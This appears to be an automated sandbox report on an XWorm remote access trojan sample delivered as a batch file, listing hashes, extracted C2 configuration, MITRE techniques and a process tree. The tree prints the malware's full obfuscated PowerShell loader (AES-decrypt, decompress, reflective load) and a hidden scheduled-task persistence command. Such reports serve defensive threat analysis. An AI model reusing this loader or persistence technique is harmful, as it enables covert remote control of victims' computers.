xworm | 806c0e52c5343d9140e3c8fcb804e918f2a900896d664f3286d45ec2f4df5fab

Analysis

max time kernel
149s
max time network
156s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
08/02/2026, 14:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
iiii--.bat
Size 258KB
Sample260208-ryl3esft4f
SHA256 806c0e52c5343d9140e3c8fcb804e918f2a900896d664f3286d45ec2f4df5fab
MD5 144ab3c20622ec01122ddccb2d7b7b57
SHA1 a9c5a22b83872be41fec6cc3e11061069f4175b0
SHA512 403dd70d2cd26ac114a4bef012252287e4c833a383f8031ca9595137f085e0cca528eb8eb91d0af58e1272339fecb889c998135e278a0f757bd23ddd5f15a452
SSDEEP 6144:2uSa72dCUu8Q5gNg4y3mEMJNwL3umliJgb8xapFtfMoZalCk63:BUu8Q5gKXWEMJNwL3OgzPzZalCP
TLSH
T1B844BD231312756AED9A4BD8ECEE2FAC8A9D6ED611B7B019F758F4A314141321C3BCD1
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution xworm rat trojan

Malware Config

Extracted

Family

xworm

Version

rmaa7-37443.portmap.host:37443

Mutex

HyHMCfgzRcyujrsS

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/4268-49-0x000001F4734A0000-0x000001F4734AE000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4268	powershell.exe
3	4268	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5480	powershell.exe
5268	powershell.exe
4268	powershell.exe

Loads dropped DLL 1 IoCs

pid	Process
4268	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5480	powershell.exe
5480	powershell.exe
5268	powershell.exe
5268	powershell.exe
4268	powershell.exe
4268	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5480	powershell.exe
Token: SeDebugPrivilege	5268	powershell.exe
Token: SeIncreaseQuotaPrivilege	5268	powershell.exe
Token: SeSecurityPrivilege	5268	powershell.exe
Token: SeTakeOwnershipPrivilege	5268	powershell.exe
Token: SeLoadDriverPrivilege	5268	powershell.exe
Token: SeSystemProfilePrivilege	5268	powershell.exe
Token: SeSystemtimePrivilege	5268	powershell.exe
Token: SeProfSingleProcessPrivilege	5268	powershell.exe
Token: SeIncBasePriorityPrivilege	5268	powershell.exe
Token: SeCreatePagefilePrivilege	5268	powershell.exe
Token: SeBackupPrivilege	5268	powershell.exe
Token: SeRestorePrivilege	5268	powershell.exe
Token: SeShutdownPrivilege	5268	powershell.exe
Token: SeDebugPrivilege	5268	powershell.exe
Token: SeSystemEnvironmentPrivilege	5268	powershell.exe
Token: SeRemoteShutdownPrivilege	5268	powershell.exe
Token: SeUndockPrivilege	5268	powershell.exe
Token: SeManageVolumePrivilege	5268	powershell.exe
Token: 33	5268	powershell.exe
Token: 34	5268	powershell.exe
Token: 35	5268	powershell.exe
Token: 36	5268	powershell.exe
Token: SeIncreaseQuotaPrivilege	5268	powershell.exe
Token: SeSecurityPrivilege	5268	powershell.exe
Token: SeTakeOwnershipPrivilege	5268	powershell.exe
Token: SeLoadDriverPrivilege	5268	powershell.exe
Token: SeSystemProfilePrivilege	5268	powershell.exe
Token: SeSystemtimePrivilege	5268	powershell.exe
Token: SeProfSingleProcessPrivilege	5268	powershell.exe
Token: SeIncBasePriorityPrivilege	5268	powershell.exe
Token: SeCreatePagefilePrivilege	5268	powershell.exe
Token: SeBackupPrivilege	5268	powershell.exe
Token: SeRestorePrivilege	5268	powershell.exe
Token: SeShutdownPrivilege	5268	powershell.exe
Token: SeDebugPrivilege	5268	powershell.exe
Token: SeSystemEnvironmentPrivilege	5268	powershell.exe
Token: SeRemoteShutdownPrivilege	5268	powershell.exe
Token: SeUndockPrivilege	5268	powershell.exe
Token: SeManageVolumePrivilege	5268	powershell.exe
Token: 33	5268	powershell.exe
Token: 34	5268	powershell.exe
Token: 35	5268	powershell.exe
Token: 36	5268	powershell.exe
Token: SeIncreaseQuotaPrivilege	5268	powershell.exe
Token: SeSecurityPrivilege	5268	powershell.exe
Token: SeTakeOwnershipPrivilege	5268	powershell.exe
Token: SeLoadDriverPrivilege	5268	powershell.exe
Token: SeSystemProfilePrivilege	5268	powershell.exe
Token: SeSystemtimePrivilege	5268	powershell.exe
Token: SeProfSingleProcessPrivilege	5268	powershell.exe
Token: SeIncBasePriorityPrivilege	5268	powershell.exe
Token: SeCreatePagefilePrivilege	5268	powershell.exe
Token: SeBackupPrivilege	5268	powershell.exe
Token: SeRestorePrivilege	5268	powershell.exe
Token: SeShutdownPrivilege	5268	powershell.exe
Token: SeDebugPrivilege	5268	powershell.exe
Token: SeSystemEnvironmentPrivilege	5268	powershell.exe
Token: SeRemoteShutdownPrivilege	5268	powershell.exe
Token: SeUndockPrivilege	5268	powershell.exe
Token: SeManageVolumePrivilege	5268	powershell.exe
Token: 33	5268	powershell.exe
Token: 34	5268	powershell.exe
Token: 35	5268	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4648 wrote to memory of 5480	4648	cmd.exe	80
PID 5480 wrote to memory of 5268	5480	powershell.exe	82
PID 5480 wrote to memory of 3448	5480	powershell.exe	84
PID 3448 wrote to memory of 3972	3448	WScript.exe	85
PID 3972 wrote to memory of 4268	3972	cmd.exe	87

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\iiii--.bat iuhjguyuvb
1⤵
- Suspicious use of WriteProcessMemory
PID:4648
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PUvstVCcuQcj/1CKyaQj6RL/6zJ8fqEomjefDbl4VAk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('e6ccCB0jOOQmeDt9VhBqVA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $LnEoZ=New-Object System.IO.MemoryStream(,$param_var); $OrWtg=New-Object System.IO.MemoryStream; $FMQGp=New-Object System.IO.Compression.GZipStream($LnEoZ, [IO.Compression.CompressionMode]::Decompress); $FMQGp.CopyTo($OrWtg); $FMQGp.Dispose(); $LnEoZ.Dispose(); $OrWtg.Dispose(); $OrWtg.ToArray();}function execute_function($param_var,$param2_var){ $ZXAIQ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $edHYJ=$ZXAIQ.EntryPoint; $edHYJ.Invoke($null, $param2_var);}$fOARa = 'C:\Users\Admin\AppData\Local\Temp\iiii--.bat';$host.UI.RawUI.WindowTitle = $fOARa;$PLhdB=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($fOARa).Split([Environment]::NewLine);foreach ($NfWRr in $PLhdB) { if ($NfWRr.StartsWith(':: ')) { $twOSP=$NfWRr.Substring(3); break; }}$payloads_var=[string[]]$twOSP.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('iuhjguyuvb'));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5480
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_540_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_540.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5268
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_540.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3448
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_540.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3972
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PUvstVCcuQcj/1CKyaQj6RL/6zJ8fqEomjefDbl4VAk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('e6ccCB0jOOQmeDt9VhBqVA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $LnEoZ=New-Object System.IO.MemoryStream(,$param_var); $OrWtg=New-Object System.IO.MemoryStream; $FMQGp=New-Object System.IO.Compression.GZipStream($LnEoZ, [IO.Compression.CompressionMode]::Decompress); $FMQGp.CopyTo($OrWtg); $FMQGp.Dispose(); $LnEoZ.Dispose(); $OrWtg.Dispose(); $OrWtg.ToArray();}function execute_function($param_var,$param2_var){ $ZXAIQ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $edHYJ=$ZXAIQ.EntryPoint; $edHYJ.Invoke($null, $param2_var);}$fOARa = 'C:\Users\Admin\AppData\Roaming\startup_str_540.bat';$host.UI.RawUI.WindowTitle = $fOARa;$PLhdB=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($fOARa).Split([Environment]::NewLine);foreach ($NfWRr in $PLhdB) { if ($NfWRr.StartsWith(':: ')) { $twOSP=$NfWRr.Substring(3); break; }}$payloads_var=[string[]]$twOSP.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:4268

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 3fc98f1a0dd73c0067a28034a6d84e86b27418d68cc2fdf26345be6f4217dcf1
MD5 9f3107a91c0a75eb75418f89fe7dcbcd
SHA1 4538595145969d10d68c8d5fd73d51a58cde93d4
SHA512 12506d31fba03a505c3921876135d8b9cd5fd3659c5c97b2158001ab788f0f9dcff055e95be1bd33583098848efd1036d05c0b6e23d7191b02b444a37d0dbf2c
TLSH
T1F381CD323375A0D4C9563F07192C19C463AF4396EA58AF4CB658620EE92B54BDB222F7
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 de4258c096c103c710cb23765a4619cf7c1f7d7ab6619774fefdd69a69bd2db6
MD5 5231b0c4e17d93630ba6d4614926e16e
SHA1 4a97ea6151da4f1ef4093e795acbce182216d4ed
SHA512 881b4e3d6f6642b82c5bf4ef99e2dca31a5afcd08445d978df3e278ee22cd4a1023c3bac7aae47c9aa5bdda3fb9ded369e73ada99c361952ca2276badb9d3c27
TLSH
T11F219B33B39CC126C899123A148DAD00B2B5C3D744AFCE8B7A85C214EA3F599CB641A4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_x45uesq4.b0n.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x45uesq4.b0n.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

tmpBFF0.tmp

Path C:\Users\Admin\AppData\Local\Temp\tmpBFF0.tmp
Size 100KB
SHA256 555ccb7ecd9ae52a75135fdd81ab443a49d5785b0621ed6468d28c4234e46ccc
MD5 1b942faa8e8b1008a8c3c1004ba57349
SHA1 cd99977f6c1819b12b33240b784ca816dfe2cb91
SHA512 5aee3d59478d41ddd5885c99b394c9c4983064e2b3528db1a3f7fc289662bced4f57d072517bbe7573c6d1789435e987ef1aa9cc91f372bcfd30bc016675fa43
SSDEEP 3072:WakLA3LC2FY+EdzYZHAx+dqRN51hdJFxtZV9l5hhJxZ9N1FZV9NFWOaSek8Kle/:WakL320zYZHpMXM/
TLSH
T122A3295B73A940BBE1768635C9631E09E7B6F8110B319F9F0764025E2F637914E3AF21
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

startup_str_540.bat

Path C:\Users\Admin\AppData\Roaming\startup_str_540.bat
Size 258KB
SHA256 806c0e52c5343d9140e3c8fcb804e918f2a900896d664f3286d45ec2f4df5fab
MD5 144ab3c20622ec01122ddccb2d7b7b57
SHA1 a9c5a22b83872be41fec6cc3e11061069f4175b0
SHA512 403dd70d2cd26ac114a4bef012252287e4c833a383f8031ca9595137f085e0cca528eb8eb91d0af58e1272339fecb889c998135e278a0f757bd23ddd5f15a452
SSDEEP 6144:2uSa72dCUu8Q5gNg4y3mEMJNwL3umliJgb8xapFtfMoZalCk63:BUu8Q5gKXWEMJNwL3OgzPzZalCP
TLSH
T1B844BD231312756AED9A4BD8ECEE2FAC8A9D6ED611B7B019F758F4A314141321C3BCD1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

startup_str_540.vbs

Path C:\Users\Admin\AppData\Roaming\startup_str_540.vbs
Size 115B
SHA256 3770f226c73ed75119e160bbb047c3eaecd38639150db5b28bf0111daf02f4a4
MD5 68363d3f68009ec6c2d01462ab6da50d
SHA1 41bbc232fab8ae584cc5c0549226b32808738cc6
SHA512 4378c00859222d288478f5939a50dfcb4d98f3517e2ecd123b21839bfb4c7d44cf54764e205e2c4856cfc5b77883005c28af4ceec026f6f78bbb94ccd162bd62
TLSH
T1C7B092392189898B290565BB0B72850C89A089812544ABE5DA0086DD10B8508B9AB003
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4268-51-0x000001F473690000-0x000001F4736CA000-memory.dmp

Download

memory/4268-49-0x000001F4734A0000-0x000001F4734AE000-memory.dmp

Download

memory/5268-28-0x000001D0D3F30000-0x000001D0D3FE3000-memory.dmp

Download

memory/5268-27-0x000001D0D3F10000-0x000001D0D3F2C000-memory.dmp

Download

memory/5268-29-0x000001D0D3FF0000-0x000001D0D3FFA000-memory.dmp

Download

memory/5268-30-0x000001D0D4020000-0x000001D0D403C000-memory.dmp

Download

memory/5268-20-0x000001D0B71D0000-0x000001D0B71E0000-memory.dmp

Download

memory/5268-13-0x000001D0B71D0000-0x000001D0B71E0000-memory.dmp

Download

memory/5268-12-0x000001D0B71D0000-0x000001D0B71E0000-memory.dmp

Download

memory/5480-0-0x00000172EE4B0000-0x00000172EE4C0000-memory.dmp

Download

memory/5480-10-0x00000172F11D0000-0x00000172F1202000-memory.dmp

Download

memory/5480-48-0x00000172EE4B0000-0x00000172EE4C0000-memory.dmp

Download

memory/5480-9-0x00000172EE4A0000-0x00000172EE4A8000-memory.dmp

Download

memory/5480-8-0x00000172EE4B0000-0x00000172EE4C0000-memory.dmp

Download

memory/5480-7-0x00000172EE300000-0x00000172EE322000-memory.dmp

Download